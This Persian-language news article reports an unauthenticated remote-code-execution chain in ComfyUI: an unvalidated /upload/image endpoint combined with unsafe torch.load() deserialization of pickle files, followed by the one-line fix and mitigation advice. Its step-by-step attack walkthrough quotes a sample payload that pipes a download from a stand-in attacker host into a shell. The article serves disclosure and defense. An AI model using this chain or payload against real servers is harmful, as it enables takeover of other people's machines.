پرش به محتوای اصلی
پرش به محتوای مقاله

یک حفره امنیتی بحرانی در ComfyUI کنترل کامل سرورها را به مهاجمان می‌دهد

·۱۱ مهر ۱۴۰۵۶ دقیقه مطالعه
آسیب‌پذیری اجرای کد از راه دور بدون احراز هویت در ComfyUI ناشی از سریال‌زدایی ناامن در گره LoadTrainingDataset
آسیب‌پذیری اجرای کد از راه دور بدون احراز هویت در ComfyUI ناشی از سریال‌زدایی ناامن در گره LoadTrainingDataset
اشتراک‌گذاری
واقعاً چه چیز جدید است؟

کشف یک زنجیره حمله (Attack Chain) که از ترکیب یک درگاه آپلود بدون نظارت و یک تابع بارگذاری ناامن در PyTorch برای دستیابی به RCE در ComfyUI استفاده می‌کند.

اگر سرور ComfyUI خود را برای دسترسی از راه دور در شبکه باز گذاشته‌اید، احتمالاً همین حالا در معرض کنترل کامل یک شخص ناشناس هستید. این آسیب‌پذیری که با کد CVE-2026-68771 شناسایی شده، به مهاجمان اجازه می‌دهد بدون داشتن هیچ رمز عبوری، دستورات سیستمی را روی سخت‌افزار شما اجرا کنند و به کنترل کامل سرورهای ComfyUI دست یابند.

طبق گزارش‌های فنی، این نقص امنیتی دارای امتیاز ۹.۸ از ۱۰ (بحرانی) در مقیاس CVSS 3.1 است. بردار حمله به صورت AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H تعریف شده است. این یعنی حمله از طریق شبکه، با پیچیدگی بسیار کم، بدون نیاز به هیچ‌گونه امتیاز یا دسترسی قبلی و بدون نیاز به هیچ تعاملی از سوی کاربر قابل اجراست. ComfyUI یک رابط گرافیکی متن‌باز مبتنی بر گرافِ گره‌ها (node-graph) برای اجرای مدل‌های انتشار (Diffusion Models) — مانند Stable Diffusion — است. به دلیل اینکه بسیاری از کاربران برای دسترسی از راه دور، نمونه‌های خود را در شبکه باز می‌گذارند، آسیب‌پذیری‌هایی که نیاز به احراز هویت صفر دارند، به‌شدت خطرناک هستند.

همان‌طور که در تحلیل‌های قبلی ما درباره‌ی امنیت مدل‌های بازمتن اشاره کردیم، اعتماد کورکورانه به فایل‌های ورودی در اکوسیستم هوش مصنوعی یک الگوی تکراری و خطرناک است. این موضوع مشابه روش‌هایی است که ابزار GitSpawn از طریق فایل‌های تنظیمات مخرب برای نفوذ به سیستم‌های AI استفاده می‌کند. این مشکل در ComfyUI تنها یک باگ ساده نیست، بلکه زنجیره‌ای از دو نقص مستقل است: یک درگاه آپلود فایل که هیچ‌گونه اعتبارسنجی روی محتوا انجام نمی‌دهد و یک بارگذار مجموعه داده‌های آموزشی که فایل‌ها را به شکلی ناامن رمزگشایی (Deserialize) می‌کند. ترکیب این دو نقص، یک شکاف امنیتی بحرانی ایجاد کرده است.

تله‌ی رمزگشایی ناامن

بخش اول این زنجیره در گره LoadTrainingDataset قرار دارد که در مسیر comfy_extras/nodes_dataset.py واقع شده است. این گره طراحی شده تا داده‌های آموزشی کدگذاری شده را از روی دیسک با استفاده از تابع torch.load() در کتابخانه PyTorch بارگذاری کند. بر اساس مستندات فنی، مشخص شد که این گره از پرچم امنیتی weights_only=True استفاده نمی‌کرد؛ در حالی که این پرچم اصلی‌ترین سد دفاعی در برابر فایل‌های مخرب پیکل (Pickle) است.

مکانیزم بارگذاری PyTorch در لایه‌های زیرین از ماژول pickle پایتون استفاده می‌کند. پیکل فقط داده‌ها را ذخیره نمی‌کند، بلکه دستورالعمل‌هایی را به صورت یک جریان از کد عملیاتی (opcode stream) برای نحوه بازسازی اشیاء کدگذاری می‌کند. یک کد عملیاتی خاص به نام REDUCE وجود دارد که در هنگام باز کردن فایل (unpickling)، مستقیماً یک تاپل شامل (callable, args) را فراخوانی می‌کند. یک مهاجم می‌تواند یک فایل .pkl مخرب بسازد که حاوی یک کلاس Payload با متد __reduce__ باشد. برای مثال، یک پلود می‌تواند طوری طراحی شود که در لحظه باز شدن فایل، دستور os.system("curl attacker.com/x | sh") را اجرا کند.

وقتی سرور این فایل را «بارگذاری» می‌کند، صرفاً داده‌ها را نمی‌خواند، بلکه هر دستوری را که مهاجم در آن جاسازی کرده است، اجرا می‌کند. این امر عمل بارگذاری یک فایل ساده را به اجرای کد دلخواه (Arbitrary Code Execution) تبدیل می‌کند. برای کاهش این خطر، نسخه‌های جدید PyTorch از weights_only=True پشتیبانی می‌کنند که بازسازی اشیاء را فقط به انواع امن مانند تنسورها، اعداد و کانتینرهای پایه محدود می‌کند. در نسخه‌های PyTorch قدیمی‌تر از ۲.۶، این پرچم به‌صورت پیش‌فرض روی False است و ComfyUI را آسیب‌پذیر می‌کند.

آسیب‌پذیری اجرای کد از راه دور در ComfyUI به دلیل سریال‌زدایی ناامن در گره LoadTrainingDataset

درِ باز برای آپلود فایل

نقص دوم یک درِ باز در منطق آپلود سرور است که در فایل server.py یافت می‌شود. درگاه /upload/image در اصل برای دریافت تصاویر طراحی شده است، اما هیچ‌گونه اعتبارسنجی واقعی روی محتوا، پسوند یا نوع MIME فایل انجام نمی‌دهد. این درگاه حتی امضاهای فایل (magic bytes) را بررسی نمی‌کند تا مطمئن شود داده‌های آپلود شده واقعاً یک تصویر هستند.

یک مهاجم می‌تواند هر فایلی — از جمله یک فایل .pkl مخرب — را با ارسال یک درخواست POST به /upload/image آپلود کند. با تنظیم پارامتر type روی مقدار output، مهاجم می‌تواند فایل را به دایرکتوری خروجی ComfyUI هدایت کند. همچنین پارامتر subfolder کاملاً تحت کنترل مهاجم است و اجازه می‌دهد فایل مخرب در پوشه خاصی قرار گیرد تا مهاجم بعداً بتواند به آن ارجاع دهد.

از آنجا که این درگاه فاقد میان‌افزار (middleware) احراز هویت است، هر کسی که دسترسی شبکه‌ای به نمونه ComfyUI داشته باشد، می‌تواند بایت‌های دلخواه را روی دیسک سرور بنویسد. مهاجم به‌سادگی نام فایل را با پیشوند _shard و پسوند .pkl (مثلاً shard_0001.pkl) انتخاب می‌کند تا با الگویی که گره LoadTrainingDataset برای اسکن جست‌وجو می‌کند، مطابقت داشته باشد. تنها بررسی امنیتی موجود، مقایسه os.path.commonpath است که از پیمایش مسیر (Path Traversal) برای نوشتن در فایل‌های سیستمی (مانند /etc/passwd) جلوگیری می‌کند، اما هیچ کاری برای متوقف کردن آپلود داده‌های مخرب انجام نمی‌دهد. این نوع ضعف در مدیریت مسیرها یادآور آسیب‌پذیری‌های گسترده Path Traversal در سرورهای MCP است که بخش بزرگی از پیاده‌سازی‌های آن را تحت تأثیر قرار داده است.

آسیب‌پذیری اجرای کد از راه دور بدون احراز هویت در ComfyUI از طریق سریال‌زدایی ناامن در گره LoadTrainingDataset

زنجیره حمله در عمل

به نقل از تحلیل‌های فنی، جریان کامل حمله مراحل دقیقی را دنبال می‌کند:

  • ساخت Payload: مهاجم یک فایل پیکل می‌سازد که حاوی یک شیء __reduce__ است تا یک دستور سیستمی را فعال کند.
  • آپلود: مهاجم این پلود را به /upload/image با تنظیم type=output و یک subfolder انتخابی (مثلاً my_evil_dataset) ارسال می‌کند. هیچ رمز عبور یا احراز هویتی لازم نیست.
  • جای‌گذاری: سرور فایل را بدون اعتبارسنجی در مسیر output/my_evil_dataset/shard_0001.pkl می‌نویسد.
  • فعال‌سازی: مهاجم یک گردش‌کار (Workflow) را از طریق درگاه /prompt ارسال می‌کند. این گردش‌کار شامل یک گره LoadTrainingDataset است که پارامتر folder_name آن روی my_evil_dataset تنظیم شده است.
  • اجرا: گره مذکور تابع os.listdir() را روی دایرکتوری اجرا می‌کند، فایل‌های shard_*.pkl را می‌یابد و torch.load(f) را بدون پرچم امنیتی فراخوانی می‌کند. کد عملیاتی REDUCE فعال شده و کد مخرب با امتیازات پردازش ComfyUI اجرا می‌شود.

راهکار رسمی و اصلاحیه

توسعه‌دهندگان مسیر RCE را در PR #14543 (کامیت 94ee49b) برطرف کردند. این اصلاحیه یک تغییر تک‌خطی و جراحی‌شده در فایل comfy_extras/nodes_dataset.py است:

  • کد قدیمی: shard_data = torch.load(f)
  • کد جدید: shard_data = torch.load(f, weights_only=True)

این تغییر تضمین می‌کند که فقط انواع امن — مانند تنسورها و کانتینرهای پایه — بازسازی شوند و اشیاء دلخواه پایتون به‌طور کامل رد شوند. طبق توضیحات PR، این تنها فراخوانی torch.load() در کل کد بود که پرچم weights_only=True را کم داشت؛ موارد دیگر در comfy/utils.py و comfy/sd1_clip.py از قبل ایمن شده بودند.

بسیار مهم است که بدانید این وصله فقط لینک «اجرای کد» را قطع می‌کند. آسیب‌پذیری آپلود همچنان باقی است؛ درگاه /upload/image هنوز اجازه نوشتن فایل‌های دلخواه در دایرکتوری خروجی را می‌دهد. با این حال، این فایل‌ها دیگر نمی‌توانند از طریق گره آموزشی به اجرای کد تبدیل شوند. در واقع، این اصلاحیه لینک رمزگشایی را می‌بندد، نه نقطه ورود را.

این آسیب‌پذیری یک موضوع تکراری در ابزارهای هوش مصنوعی را برجسته می‌کند: خطر برخورد با وزن‌های مدل و فایل‌های مجموعه داده به عنوان «داده‌های غیرفعال». در اکوسیستم پایتون، بارگذاری یک فایل پیکل اغلب معادل اجرای یک برنامه است. این ریسک مشابه حفره امنیتی Claude Code است که در آن مخازن مخرب می‌توانستند از محیط ایزوله (Sandbox) فرار کرده و به سیستم میزبان دسترسی یابند.

برای کاربرانی که از نسخه‌های v0.23.0 یا قدیمی‌تر استفاده می‌کنند، به‌روزرسانی به آخرین نسخه برای بستن این مسیر RCE الزامی است. اگر نمی‌توانید فوراً به‌روزرسانی کنید، تنها راه امن این است که مطمئن شوید نمونه شما بدون یک پروکسی معکوس (Reverse Proxy) که احراز هویت سخت‌گیرانه ارائه می‌دهد، در معرض اینترنت عمومی قرار ندارد.

گام بعدی شما

  • فوراً ComfyUI خود را به آخرین نسخه به‌روزرسانی کنید تا حفره RCE بسته شود.
  • اگر از محیط‌های ابری استفاده می‌کنید، دسترسی به پورت‌های ComfyUI را فقط به IPهای مورد اعتماد محدود کنید.
  • برای امنیت بیشتر، از یک لایه احراز هویت (مانند Nginx یا Apache) در جلوی سرور خود استفاده کنید.

اما داستان امنیت در مدل‌های مولد به همین‌جا ختم نمی‌شود؛ اثرات مسموم‌سازی داده‌ها در مدل‌های بازمتن را در گزارش بعدی بررسی خواهیم کرد.

چرا این موضوع مهم است؟

این نقص امنیتی به دلیل عدم نیاز به احراز هویت و امتیاز بحرانی ۹.۸، اعتبار اعتماد به استقرار ابزارهای متن‌باز AI در محیط‌های عملیاتی را خدشه‌دار می‌کند. تخصص تیم‌های قرمز نشان می‌دهد که نادیده گرفتن اعتبارسنجی فایل‌های ورودی در ابزارهای هوش مصنوعی، سریع‌ترین راه برای تسخیر کامل زیرساخت‌های محاسباتی است.

تأثیر برای ایران

بسیاری از توسعه‌دهندگان ایرانی از ComfyUI روی سرورهای اجاره‌ای یا GPUهای ابری استفاده می‌کنند؛ به‌روزرسانی فوری برای جلوگیری از سرقت داده‌ها یا استفاده از سرورها برای حملات سایبری ضروری است.

·نگاه ما
تحریریه دات‌هوش

این آسیب‌پذیری نشان می‌دهد که ابزارهای AI هنوز در لایه‌های زیرساختی، امنیت را فدای سهولت در استفاده (Usability) کرده‌اند. خطرناک‌ترین بخش این است که حتی با اصلاح کد بارگذاری، درگاه آپلود همچنان باز است؛ این یعنی توسعه‌دهندگان ترجیح داده‌اند فقط «سلاح» را بگیرند، نه «درِ ورودی» را ببندند. این رویکرد تکه‌تکه در وصله‌کاری امنیتی، احتمال بروز حملات جدید از طریق سایر گره‌ها را بالا می‌برد.

منابع

این گزارش با خط‌لولهٔ خودکار دات‌هوش از منابع معتبر جهانی تدوین و زیر نظر تحریریه منتشر شده است. روش کار ما

گفتگو

پنج‌شنبه‌های هوش‌محور

بسته‌ی هفتگی دات‌هوش

۵ خبر، ۲ ابزار، ۱ پرامپت در هر شماره. به‌زودی راه‌اندازی می‌شود — هر پنج‌شنبه صبح.

خبر کلیدی
ابزار کاربردی
پرامپت حرفه‌ای
تحلیل پژوهش
به‌زودی
زاویه‌ی ایرانی
به‌زودی
تمرین این هفته
به‌زودی

راهنماهای دات‌هوش

راهنماهای کاربردیِ دات‌هوش برای کار با هوش مصنوعی — از همین‌جا شروع کنید:

دات‌هوش

راهنمای فارسی هوش مصنوعی — با نگاه به ایران

اخبار روزانه، معرفی ابزارها و مدل‌ها، و آموزشِ کار با هوش مصنوعی؛ همیشه با این پرسش که از ایران چه چیزی کار می‌کند و چه چیزی نه.